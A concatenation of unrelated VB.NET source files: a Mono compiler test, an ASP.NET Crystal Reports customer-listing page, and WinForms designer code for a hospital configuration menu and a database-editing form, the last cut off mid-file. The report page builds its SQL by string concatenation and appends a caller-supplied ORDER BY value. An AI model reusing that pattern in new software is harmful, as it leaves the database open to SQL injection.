'Author: Ritvik Mayank <mritvik@novell.com> 'Copyright (C) 2005 Novell, Inc (http://www.novell.com) Imports System Module NewTest Public Structure Point Dim x As Integer Dim y As Integer End Structure Function _Main() As Integer Dim udtPt As POINT With udtpt udtpt.x = 10 udtpt.y = 100 End With If udtpt.x <> 10 Then Throw New Exception("Unexpected Behavior udtpt.x should be equal to 10 but got " & udtpt.x) End If End Function Sub Main() _Main() System.Console.WriteLine("<%END%>") End Sub End Module
Public Class FrmMainInterface End Class
Imports System.Data Partial Class rClientes_Globales Inherits vis2formularios.frmReporte Dim loObjetoReporte As CrystalDecisions.CrystalReports.Engine.ReportDocument Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load Try Dim lcParametro0Desde As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(0)) Dim lcParametro0Hasta As String = goServicios.mObtenerCampoFormatoSQL(cusAplicacion.goReportes.paParametrosFinales(0)) Dim lcParametro1Desde As String = goServicios.mObtenerListaFormatoSQL(cusAplicacion.goReportes.paParametrosIniciales(1)) Dim lcOrdenamiento As String = cusAplicacion.goReportes.pcOrden Dim loComandoSeleccionar As New StringBuilder() loComandoSeleccionar.AppendLine(" SELECT Cod_Cli, ") loComandoSeleccionar.AppendLine(" Nom_Cli, ") loComandoSeleccionar.AppendLine(" Rif, ") loComandoSeleccionar.AppendLine(" Dir_Fis, ") loComandoSeleccionar.AppendLine(" Telefonos, ") loComandoSeleccionar.AppendLine(" (Case Status When 'A' Then 'Activo' When 'S' then 'Suspendido' Else 'Inactivo' End) as Status ") loComandoSeleccionar.AppendLine(" FROM Clientes ") loComandoSeleccionar.AppendLine(" WHERE Cod_Cli Between " & lcParametro0Desde) loComandoSeleccionar.AppendLine(" AND " & lcParametro0Hasta) loComandoSeleccionar.AppendLine(" AND Status IN (" & lcParametro1Desde & ")") 'loComandoSeleccionar.AppendLine(" ORDER BY Cod_Cli ") loComandoSeleccionar.AppendLine("ORDER BY " & lcOrdenamiento) Dim loServicios As New cusDatos.goDatos goDatos.pcNombreAplicativoExterno = "Framework" Dim laDatosReporte As DataSet = loServicios.mObtenerTodosSinEsquema(loComandoSeleccionar.ToString, "curReportes") '------------------------------------------------------------------------------------------------------- ' Verificando si el select (tabla nº0) trae registros '------------------------------------------------------------------------------------------------------- If (laDatosReporte.Tables(0).Rows.Count <= 0) Then Me.WbcAdministradorMensajeModal.mMostrarMensajeModal("Información", _ "No se Encontraron Registros para los Parámetros Especificados. ", _ vis3Controles.wbcAdministradorMensajeModal.enumTipoMensaje.KN_Informacion, _ "350px", _ "200px") End If loObjetoReporte = cusAplicacion.goReportes.mCargarReporte("rClientes_Globales", laDatosReporte) Me.mTraducirReporte(loObjetoReporte) Me.mFormatearCamposReporte(loObjetoReporte) Me.crvrClientes_Globales.ReportSource = loObjetoReporte Catch loExcepcion As Exception Me.WbcAdministradorMensajeModal.mMostrarMensajeModal("Error", _ "No se pudo Completar el Proceso: " & loExcepcion.Message, _ vis3Controles.wbcAdministradorMensajeModal.enumTipoMensaje.KN_Error, _ "auto", _ "auto") End Try End Sub Protected Sub Page_Unload(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Unload Try loObjetoReporte.Close() Catch loExcepcion As Exception End Try End Sub End Class '-------------------------------------------------------------------------------------------' ' Fin del codigo '-------------------------------------------------------------------------------------------' ' GCR: 01/04/09: Codigo inicial '-------------------------------------------------------------------------------------------' ' CMS: 31/08/09: Metodo de ordenamiento, verificacionde registros, Boton imprimir '-------------------------------------------------------------------------------------------'
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class Form1 Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) Me.PictureBox1 = New System.Windows.Forms.PictureBox() Me.Button1 = New System.Windows.Forms.Button() Me.Button3 = New System.Windows.Forms.Button() Me.Button4 = New System.Windows.Forms.Button() Me.Button6 = New System.Windows.Forms.Button() Me.Button2 = New System.Windows.Forms.Button() Me.Button5 = New System.Windows.Forms.Button() Me.ComboBox1 = New System.Windows.Forms.ComboBox() Me.TextBox1 = New System.Windows.Forms.TextBox() Me.TextBox2 = New System.Windows.Forms.TextBox() Me.Button7 = New System.Windows.Forms.Button() Me.Button8 = New System.Windows.Forms.Button() Me.Label1 = New System.Windows.Forms.Label() Me.Label2 = New System.Windows.Forms.Label() Me.Label3 = New System.Windows.Forms.Label() Me.Button9 = New System.Windows.Forms.Button() Me.Button10 = New System.Windows.Forms.Button() Me.Button11 = New System.Windows.Forms.Button() Me.Button12 = New System.Windows.Forms.Button() Me.Button13 = New System.Windows.Forms.Button() Me.Button14 = New System.Windows.Forms.Button() Me.Button15 = New System.Windows.Forms.Button() Me.Button16 = New System.Windows.Forms.Button() CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() Me.SuspendLayout() ' 'PictureBox1 ' Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) Me.PictureBox1.Location = New System.Drawing.Point(90, 12) Me.PictureBox1.Name = "PictureBox1" Me.PictureBox1.Size = New System.Drawing.Size(500, 238) Me.PictureBox1.TabIndex = 3 Me.PictureBox1.TabStop = False ' 'Button1 ' Me.Button1.Location = New System.Drawing.Point(341, 407) Me.Button1.Name = "Button1" Me.Button1.Size = New System.Drawing.Size(114, 40) Me.Button1.TabIndex = 55 Me.Button1.Text = "Exit" Me.Button1.UseVisualStyleBackColor = True ' 'Button3 ' Me.Button3.Location = New System.Drawing.Point(97, 269) Me.Button3.Name = "Button3" Me.Button3.Size = New System.Drawing.Size(116, 40) Me.Button3.TabIndex = 1 Me.Button3.Text = "Imaging Exams" Me.Button3.UseVisualStyleBackColor = True ' 'Button4 ' Me.Button4.Location = New System.Drawing.Point(463, 269) Me.Button4.Name = "Button4" Me.Button4.Size = New System.Drawing.Size(114, 40) Me.Button4.TabIndex = 45 Me.Button4.Text = "SYSTEM CONFIGURATIONS" Me.Button4.UseVisualStyleBackColor = True ' 'Button6 ' Me.Button6.Location = New System.Drawing.Point(97, 315) Me.Button6.Name = "Button6" Me.Button6.Size = New System.Drawing.Size(116, 40) Me.Button6.TabIndex = 5 Me.Button6.Text = "Other Exams" Me.Button6.UseVisualStyleBackColor = True ' 'Button2 ' Me.Button2.Location = New System.Drawing.Point(97, 361) Me.Button2.Name = "Button2" Me.Button2.Size = New System.Drawing.Size(116, 40) Me.Button2.TabIndex = 10 Me.Button2.Text = "Lab Tests" Me.Button2.UseVisualStyleBackColor = True ' 'Button5 ' Me.Button5.Location = New System.Drawing.Point(219, 269) Me.Button5.Name = "Button5" Me.Button5.Size = New System.Drawing.Size(116, 40) Me.Button5.TabIndex = 15 Me.Button5.Text = "Procedures" Me.Button5.UseVisualStyleBackColor = True ' 'ComboBox1 ' Me.ComboBox1.FormattingEnabled = True Me.ComboBox1.Location = New System.Drawing.Point(292, 321) Me.ComboBox1.Name = "ComboBox1" Me.ComboBox1.Size = New System.Drawing.Size(166, 21) Me.ComboBox1.TabIndex = 3 ' 'TextBox1 ' Me.TextBox1.Location = New System.Drawing.Point(292, 269) Me.TextBox1.Name = "TextBox1" Me.TextBox1.Size = New System.Drawing.Size(166, 20) Me.TextBox1.TabIndex = 1 ' 'TextBox2 ' Me.TextBox2.Location = New System.Drawing.Point(292, 295) Me.TextBox2.Name = "TextBox2" Me.TextBox2.Size = New System.Drawing.Size(166, 20) Me.TextBox2.TabIndex = 2 Me.TextBox2.UseSystemPasswordChar = True ' 'Button7 ' Me.Button7.Location = New System.Drawing.Point(342, 348) Me.Button7.Name = "Button7" Me.Button7.Size = New System.Drawing.Size(116, 26) Me.Button7.TabIndex = 5 Me.Button7.Text = "EXIT" Me.Button7.UseVisualStyleBackColor = True ' 'Button8 ' Me.Button8.Location = New System.Drawing.Point(221, 348) Me.Button8.Name = "Button8" Me.Button8.Size = New System.Drawing.Size(116, 26) Me.Button8.TabIndex = 4 Me.Button8.Text = "CONNECT" Me.Button8.UseVisualStyleBackColor = True ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Font = New System.Drawing.Font("Microsoft Sans Serif", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.Label1.Location = New System.Drawing.Point(218, 269) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(71, 16) Me.Label1.TabIndex = 16 Me.Label1.Text = "Username" ' 'Label2 ' Me.Label2.AutoSize = True Me.Label2.Font = New System.Drawing.Font("Microsoft Sans Serif", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.Label2.Location = New System.Drawing.Point(218, 295) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(68, 16) Me.Label2.TabIndex = 17 Me.Label2.Text = "Password" ' 'Label3 ' Me.Label3.AutoSize = True Me.Label3.Font = New System.Drawing.Font("Microsoft Sans Serif", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) Me.Label3.Location = New System.Drawing.Point(218, 322) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(68, 16) Me.Label3.TabIndex = 18 Me.Label3.Text = "Database" ' 'Button9 ' Me.Button9.Location = New System.Drawing.Point(219, 409) Me.Button9.Name = "Button9" Me.Button9.Size = New System.Drawing.Size(114, 40) Me.Button9.TabIndex = 50 Me.Button9.Text = "Logout" Me.Button9.UseVisualStyleBackColor = True ' 'Button10 ' Me.Button10.Location = New System.Drawing.Point(220, 315) Me.Button10.Name = "Button10" Me.Button10.Size = New System.Drawing.Size(116, 40) Me.Button10.TabIndex = 20 Me.Button10.Text = "Surgical Procedures" Me.Button10.UseVisualStyleBackColor = True ' 'Button11 ' Me.Button11.Location = New System.Drawing.Point(219, 361) Me.Button11.Name = "Button11" Me.Button11.Size = New System.Drawing.Size(116, 40) Me.Button11.TabIndex = 25 Me.Button11.Text = "Supplies" Me.Button11.UseVisualStyleBackColor = True ' 'Button12 ' Me.Button12.Location = New System.Drawing.Point(341, 269) Me.Button12.Name = "Button12" Me.Button12.Size = New System.Drawing.Size(116, 40) Me.Button12.TabIndex = 30 Me.Button12.Text = "Translation Updates" Me.Button12.UseVisualStyleBackColor = True ' 'Button13 ' Me.Button13.Location = New System.Drawing.Point(342, 315) Me.Button13.Name = "Button13" Me.Button13.Size = New System.Drawing.Size(116, 40) Me.Button13.TabIndex = 35 Me.Button13.Text = "Discharge" Me.Button13.UseVisualStyleBackColor = True ' 'Button14 ' Me.Button14.Location = New System.Drawing.Point(342, 361) Me.Button14.Name = "Button14" Me.Button14.Size = New System.Drawing.Size(116, 40) Me.Button14.TabIndex = 40 Me.Button14.Text = "Medication" Me.Button14.UseVisualStyleBackColor = True ' 'Button15 ' Me.Button15.Location = New System.Drawing.Point(463, 315) Me.Button15.Name = "Button15" Me.Button15.Size = New System.Drawing.Size(116, 40) Me.Button15.TabIndex = 56 Me.Button15.Text = "DML Tools" Me.Button15.UseVisualStyleBackColor = True ' 'Button16 ' Me.Button16.Location = New System.Drawing.Point(464, 361) Me.Button16.Name = "Button16" Me.Button16.Size = New System.Drawing.Size(116, 40) Me.Button16.TabIndex = 57 Me.Button16.Text = "Vital Signs" Me.Button16.UseVisualStyleBackColor = True ' 'Form1 ' Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(684, 461) Me.Controls.Add(Me.Label2) Me.Controls.Add(Me.Label1) Me.Controls.Add(Me.TextBox2) Me.Controls.Add(Me.TextBox1) Me.Controls.Add(Me.ComboBox1) Me.Controls.Add(Me.Button16) Me.Controls.Add(Me.Button15) Me.Controls.Add(Me.Button12) Me.Controls.Add(Me.Button9) Me.Controls.Add(Me.Label3) Me.Controls.Add(Me.Button8) Me.Controls.Add(Me.Button7) Me.Controls.Add(Me.Button5) Me.Controls.Add(Me.Button2) Me.Controls.Add(Me.Button6) Me.Controls.Add(Me.Button4) Me.Controls.Add(Me.Button3) Me.Controls.Add(Me.Button1) Me.Controls.Add(Me.PictureBox1) Me.Controls.Add(Me.Button10) Me.Controls.Add(Me.Button11) Me.Controls.Add(Me.Button14) Me.Controls.Add(Me.Button13) Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) Me.MaximumSize = New System.Drawing.Size(700, 500) Me.MinimumSize = New System.Drawing.Size(700, 400) Me.Name = "Form1" Me.Text = "ALERT Configuration" CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() Me.ResumeLayout(False) Me.PerformLayout() End Sub Friend WithEvents PictureBox1 As PictureBox Friend WithEvents Button1 As Button Friend WithEvents Button3 As Button Friend WithEvents Button4 As Button Friend WithEvents Button6 As Button Friend WithEvents Button2 As Button Friend WithEvents Button5 As Button Friend WithEvents ComboBox1 As ComboBox Friend WithEvents TextBox1 As TextBox Friend WithEvents TextBox2 As TextBox Friend WithEvents Button7 As Button Friend WithEvents Button8 As Button Friend WithEvents Label1 As Label Friend WithEvents Label2 As Label Friend WithEvents Label3 As Label Friend WithEvents Button9 As Button Friend WithEvents Button10 As Button Friend WithEvents Button11 As Button Friend WithEvents Button12 As Button Friend WithEvents Button13 As Button Friend WithEvents Button14 As Button Friend WithEvents Button15 As Button Friend WithEvents Button16 As Button End Class
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class frmModifyDatabase Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.btnExit = New System.Windows.Forms.Button() Me.TabControl1 = New System.Windows.Forms.TabControl() Me.TabPage1 = New System.Windows.Forms.TabPage() Me.btnDeleteRow = New System.Windows.Forms.Button() Me.btnInsertBelow = New System.Windows.Forms.Button() Me.btnInsertAbove = New System.Windows.Forms.Button() Me.btnMoveDown = New System.Windows.Forms.Button() Me.btnMoveUp = New System.Windows.Forms.Button() Me.btnFindTableDef = New System.Windows.Forms.Button() Me.txtTableDefFileName = New System.Windows.Forms.TextBox() Me.Label23 = New System.Windows.Forms.Label() Me.btnCreateTable = New System.Windows.Forms.Button() Me.txtNewTableName = New System.Windows.Forms.TextBox() Me.Label1 = New System.Windows.Forms.Label() Me.DataGridView1 = New System.Windows.Forms.DataGridView() Me.TabPage2 = New System.Windows.Forms.TabPage() Me.btnAutoNameFK = New System.Windows.Forms.Button() Me.btnDeleteRelationship = New System.Windows.Forms.Button() Me.btnCreateRelationship = New System.Windows.Forms.Button() Me.cmbRelatedColumn = New System.Windows.Forms.ComboBox() Me.Label6 = New System.Windows.Forms.Label() Me.cmbRelatedTable = New System.Windows.Forms.ComboBox() Me.Label10 = New System.Windows.Forms.Label() Me.cmbFKColumn = New System.Windows.Forms.ComboBox() Me.Label9 = New System.Windows.Forms.Label() Me.txtNewForeignKeyName = New System.Windows.Forms.TextBox() Me.Label8 = New System.Windows.Forms.Label() Me.cmbFKTable = New System.Windows.Forms.ComboBox() Me.Label7 = New System.Windows.Forms.Label() Me.DataGridView2 = New System.Windows.Forms.DataGridView() Me.TabPage5 = New System.Windows.Forms.TabPage() Me.chkUnique = New System.Windows.Forms.CheckBox() Me.btnAutoNameIndex = New System.Windows.Forms.Button() Me.cmbIndexOptions = New System.Windows.Forms.ComboBox() Me.lstColumns = New System.Windows.Forms.ListBox() Me.btnDeleteIndex = New System.Windows.Forms.Button() Me.btnCreateIndex = New System.Windows.Forms.Button() Me.Label13 = New System.Windows.Forms.Label() Me.cmbNewIndexTable = New System.Windows.Forms.ComboBox() Me.Label12 = New System.Windows.Forms.Label() Me.txtIndexName = New System.Windows.Forms.TextBox() Me.DataGridView4 = New System.Windows.Forms.DataGridView() Me.Label11 = New System.Windows.Forms.Label() Me.TabPage3 = New System.Windows.Forms.TabPage() Me.btnUpdateDescriptions = New System.Windows.Forms.Button() Me.Label2 = New System.Windows.Forms.Label() Me.cmbDescrSelectTable = New System.Windows.Forms.ComboBox() Me.DataGridView3 = New System.Windows.Forms.DataGridView() Me.TabPage4 = New System.Windows.Forms.TabPage() Me.btnRenameTable = New System.Windows.Forms.Button() Me.txtNewTableName2 = New System.Windows.Forms.TextBox() Me.Label24 = New System.Windows.Forms.Label() Me.btnAddColumn = New System.Windows.Forms.Button() Me.txtDescription = New System.Windows.Forms.TextBox() Me.Label22 = New System.Windows.Forms.Label() Me.cmbPrimaryKey = New System.Windows.Forms.ComboBox() Me.Label21 = New System.Windows.Forms.Label() Me.cmbAutoIncrement = New System.Windows.Forms.ComboBox() Me.Label20 = New System.Windows.Forms.Label() Me.cmbNull = New System.Windows.Forms.ComboBox() Me.Label19 = New System.Windows.Forms.Label() Me.txtScale = New System.Windows.Forms.TextBox() Me.Label18 = New System.Windows.Forms.Label() Me.txtPrecision = New System.Windows.Forms.TextBox() Me.Label17 = New System.Windows.Forms.Label() Me.txtSize = New System.Windows.Forms.TextBox() Me.Label16 = New System.Windows.Forms.Label() Me.cmbColumnType = New System.Windows.Forms.ComboBox() Me.Label15 = New System.Windows.Forms.Label() Me.txtColumnName = New System.Windows.Forms.TextBox() Me.Label14 = New System.Windows.Forms.Label() Me.btnDeleteTable = New System.Windows.Forms.Button() Me.btnRenameColumn = New System.Windows.Forms.Button() Me.txtNewColumnName = New System.Windows.Forms.TextBox() Me.Label5 = New System.Windows.Forms.Label() Me.cmbUtilitiesSelectColumn = New System.Windows.Forms.ComboBox() Me.Label4 = New System.Windows.Forms.Label() Me.cmbUtilitiesSelectTable = New System.Windows.Forms.ComboBox() Me.Label3 = New System.Windows.Forms.Label() Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog() Me.TabControl1.SuspendLayout() Me.TabPage1.SuspendLayout() CType(Me.DataGridView1, System.ComponentModel.ISupportInitialize).BeginInit() Me.TabPage2.SuspendLayout() CType(Me.DataGridView2, System.ComponentModel.ISupportInitialize).BeginInit() Me.TabPage5.SuspendLayout() CType(Me.DataGridView4, System.ComponentModel.ISupportInitialize).BeginInit() Me.TabPage3.SuspendLayout() CType(Me.DataGridView3, System.ComponentModel.ISupportInitialize).BeginInit() Me.TabPage4.SuspendLayout() Me.SuspendLayout() ' 'btnExit ' Me.btnExit.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnExit.Location = New System.Drawing.Point(935, 12) Me.btnExit.Name = "btnExit" Me.btnExit.Size = New System.Drawing.Size(64, 22) Me.btnExit.TabIndex = 10 Me.btnExit.Text = "Exit" Me.btnExit.UseVisualStyleBackColor = True ' 'TabControl1 ' Me.TabControl1.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TabControl1.Controls.Add(Me.TabPage1) Me.TabControl1.Controls.Add(Me.TabPage2) Me.TabControl1.Controls.Add(Me.TabPage5) Me.TabControl1.Controls.Add(Me.TabPage3) Me.TabControl1.Controls.Add(Me.TabPage4) Me.TabControl1.Location = New System.Drawing.Point(12, 40) Me.TabControl1.Name = "TabControl1" Me.TabControl1.SelectedIndex = 0 Me.TabControl1.Size = New System.Drawing.Size(987, 579) Me.TabControl1.TabIndex = 11 ' 'TabPage1 ' Me.TabPage1.Controls.Add(Me.btnDeleteRow) Me.TabPage1.Controls.Add(Me.btnInsertBelow) Me.TabPage1.Controls.Add(Me.btnInsertAbove) Me.TabPage1.Controls.Add(Me.btnMoveDown) Me.TabPage1.Controls.Add(Me.btnMoveUp) Me.TabPage1.Controls.Add(Me.btnFindTableDef) Me.TabPage1.Controls.Add(Me.txtTableDefFileName) Me.TabPage1.Controls.Add(Me.Label23) Me.TabPage1.Controls.Add(Me.btnCreateTable) Me.TabPage1.Controls.Add(Me.txtNewTableName) Me.TabPage1.Controls.Add(Me.Label1) Me.TabPage1.Controls.Add(Me.DataGridView1) Me.TabPage1.Location = New System.Drawing.Point(4, 22) Me.TabPage1.Name = "TabPage1" Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) Me.TabPage1.Size = New System.Drawing.Size(979, 553) Me.TabPage1.TabIndex = 0 Me.TabPage1.Text = "Create New Table" Me.TabPage1.UseVisualStyleBackColor = True ' 'btnDeleteRow ' Me.btnDeleteRow.Location = New System.Drawing.Point(337, 33) Me.btnDeleteRow.Name = "btnDeleteRow" Me.btnDeleteRow.Size = New System.Drawing.Size(80, 22) Me.btnDeleteRow.TabIndex = 17 Me.btnDeleteRow.Text = "Delete Row" Me.btnDeleteRow.UseVisualStyleBackColor = True ' 'btnInsertBelow ' Me.btnInsertBelow.Location = New System.Drawing.Point(251, 33) Me.btnInsertBelow.Name = "btnInsertBelow" Me.btnInsertBelow.Size = New System.Drawing.Size(80, 22) Me.btnInsertBelow.TabIndex = 16 Me.btnInsertBelow.Text = "Insert Below" Me.btnInsertBelow.UseVisualStyleBackColor = True ' 'btnInsertAbove ' Me.btnInsertAbove.Location = New System.Drawing.Point(165, 33) Me.btnInsertAbove.Name = "btnInsertAbove" Me.btnInsertAbove.Size = New System.Drawing.Size(80, 22) Me.btnInsertAbove.TabIndex = 15 Me.btnInsertAbove.Text = "Insert Above" Me.btnInsertAbove.UseVisualStyleBackColor = True ' 'btnMoveDown ' Me.btnMoveDown.Location = New System.Drawing.Point(79, 33) Me.btnMoveDown.Name = "btnMoveDown" Me.btnMoveDown.Size = New System.Drawing.Size(80, 22) Me.btnMoveDown.TabIndex = 14 Me.btnMoveDown.Text = "Move Down" Me.btnMoveDown.UseVisualStyleBackColor = True ' 'btnMoveUp ' Me.btnMoveUp.Location = New System.Drawing.Point(9, 33) Me.btnMoveUp.Name = "btnMoveUp" Me.btnMoveUp.Size = New System.Drawing.Size(64, 22) Me.btnMoveUp.TabIndex = 13 Me.btnMoveUp.Text = "Move Up" Me.btnMoveUp.UseVisualStyleBackColor = True ' 'btnFindTableDef ' Me.btnFindTableDef.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnFindTableDef.Location = New System.Drawing.Point(918, 5) Me.btnFindTableDef.Name = "btnFindTableDef" Me.btnFindTableDef.Size = New System.Drawing.Size(55, 22) Me.btnFindTableDef.TabIndex = 12 Me.btnFindTableDef.Text = "Find" Me.btnFindTableDef.UseVisualStyleBackColor = True ' 'txtTableDefFileName ' Me.txtTableDefFileName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtTableDefFileName.Location = New System.Drawing.Point(629, 6) Me.txtTableDefFileName.Name = "txtTableDefFileName" Me.txtTableDefFileName.Size = New System.Drawing.Size(283, 20) Me.txtTableDefFileName.TabIndex = 5 ' 'Label23 ' Me.Label23.AutoSize = True Me.Label23.Location = New System.Drawing.Point(541, 9) Me.Label23.Name = "Label23" Me.Label23.Size = New System.Drawing.Size(82, 13) Me.Label23.TabIndex = 4 Me.Label23.Text = "Table definition:" ' 'btnCreateTable ' Me.btnCreateTable.Location = New System.Drawing.Point(453, 5) Me.btnCreateTable.Name = "btnCreateTable" Me.btnCreateTable.Size = New System.Drawing.Size(64, 22) Me.btnCreateTable.TabIndex = 3 Me.btnCreateTable.Text = "Create" Me.btnCreateTable.UseVisualStyleBackColor = True ' 'txtNewTableName ' Me.txtNewTableName.Location = New System.Drawing.Point(80, 6) Me.txtNewTableName.Name = "txtNewTableName" Me.txtNewTableName.Size = New System.Drawing.Size(367, 20) Me.txtNewTableName.TabIndex = 2 ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Location = New System.Drawing.Point(6, 9) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(68, 13) Me.Label1.TabIndex = 1 Me.Label1.Text = "Table Name:" ' 'DataGridView1 ' Me.DataGridView1.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.DataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView1.Location = New System.Drawing.Point(6, 61) Me.DataGridView1.Name = "DataGridView1" Me.DataGridView1.Size = New System.Drawing.Size(967, 486) Me.DataGridView1.TabIndex = 0 ' 'TabPage2 ' Me.TabPage2.Controls.Add(Me.btnAutoNameFK) Me.TabPage2.Controls.Add(Me.btnDeleteRelationship) Me.TabPage2.Controls.Add(Me.btnCreateRelationship) Me.TabPage2.Controls.Add(Me.cmbRelatedColumn) Me.TabPage2.Controls.Add(Me.Label6) Me.TabPage2.Controls.Add(Me.cmbRelatedTable) Me.TabPage2.Controls.Add(Me.Label10) Me.TabPage2.Controls.Add(Me.cmbFKColumn) Me.TabPage2.Controls.Add(Me.Label9) Me.TabPage2.Controls.Add(Me.txtNewForeignKeyName) Me.TabPage2.Controls.Add(Me.Label8) Me.TabPage2.Controls.Add(Me.cmbFKTable) Me.TabPage2.Controls.Add(Me.Label7) Me.TabPage2.Controls.Add(Me.DataGridView2) Me.TabPage2.Location = New System.Drawing.Point(4, 22) Me.TabPage2.Name = "TabPage2" Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) Me.TabPage2.Size = New System.Drawing.Size(979, 553) Me.TabPage2.TabIndex = 1 Me.TabPage2.Text = "Relationships" Me.TabPage2.UseVisualStyleBackColor = True ' 'btnAutoNameFK ' Me.btnAutoNameFK.Location = New System.Drawing.Point(301, 5) Me.btnAutoNameFK.Name = "btnAutoNameFK" Me.btnAutoNameFK.Size = New System.Drawing.Size(16, 22) Me.btnAutoNameFK.TabIndex = 5 Me.btnAutoNameFK.Text = "<" Me.btnAutoNameFK.UseVisualStyleBackColor = True ' 'btnDeleteRelationship ' Me.btnDeleteRelationship.Location = New System.Drawing.Point(6, 31) Me.btnDeleteRelationship.Name = "btnDeleteRelationship" Me.btnDeleteRelationship.Size = New System.Drawing.Size(124, 22) Me.btnDeleteRelationship.TabIndex = 5 Me.btnDeleteRelationship.Text = "Delete Relationship" Me.btnDeleteRelationship.UseVisualStyleBackColor = True ' 'btnCreateRelationship ' Me.btnCreateRelationship.Location = New System.Drawing.Point(136, 31) Me.btnCreateRelationship.Name = "btnCreateRelationship" Me.btnCreateRelationship.Size = New System.Drawing.Size(121, 22) Me.btnCreateRelationship.TabIndex = 5 Me.btnCreateRelationship.Text = "Create Relationship" Me.btnCreateRelationship.UseVisualStyleBackColor = True ' 'cmbRelatedColumn ' Me.cmbRelatedColumn.FormattingEnabled = True Me.cmbRelatedColumn.Location = New System.Drawing.Point(656, 33) Me.cmbRelatedColumn.Name = "cmbRelatedColumn" Me.cmbRelatedColumn.Size = New System.Drawing.Size(161, 21) Me.cmbRelatedColumn.TabIndex = 11 ' 'Label6 ' Me.Label6.AutoSize = True Me.Label6.Location = New System.Drawing.Point(562, 36) Me.Label6.Name = "Label6" Me.Label6.Size = New System.Drawing.Size(85, 13) Me.Label6.TabIndex = 10 Me.Label6.Text = "Related Column:" ' 'cmbRelatedTable ' Me.cmbRelatedTable.FormattingEnabled = True Me.cmbRelatedTable.Location = New System.Drawing.Point(375, 33) Me.cmbRelatedTable.Name = "cmbRelatedTable" Me.cmbRelatedTable.Size = New System.Drawing.Size(161, 21) Me.cmbRelatedTable.TabIndex = 9 ' 'Label10 ' Me.Label10.AutoSize = True Me.Label10.Location = New System.Drawing.Point(292, 36) Me.Label10.Name = "Label10" Me.Label10.Size = New System.Drawing.Size(77, 13) Me.Label10.TabIndex = 8 Me.Label10.Text = "Related Table:" ' 'cmbFKColumn ' Me.cmbFKColumn.FormattingEnabled = True Me.cmbFKColumn.Location = New System.Drawing.Point(656, 6) Me.cmbFKColumn.Name = "cmbFKColumn" Me.cmbFKColumn.Size = New System.Drawing.Size(161, 21) Me.cmbFKColumn.TabIndex = 7 ' 'Label9 ' Me.Label9.AutoSize = True Me.Label9.Location = New System.Drawing.Point(602, 9) Me.Label9.Name = "Label9" Me.Label9.Size = New System.Drawing.Size(45, 13) Me.Label9.TabIndex = 6 Me.Label9.Text = "Column:" ' 'txtNewForeignKeyName ' Me.txtNewForeignKeyName.Location = New System.Drawing.Point(136, 6) Me.txtNewForeignKeyName.Name = "txtNewForeignKeyName" Me.txtNewForeignKeyName.Size = 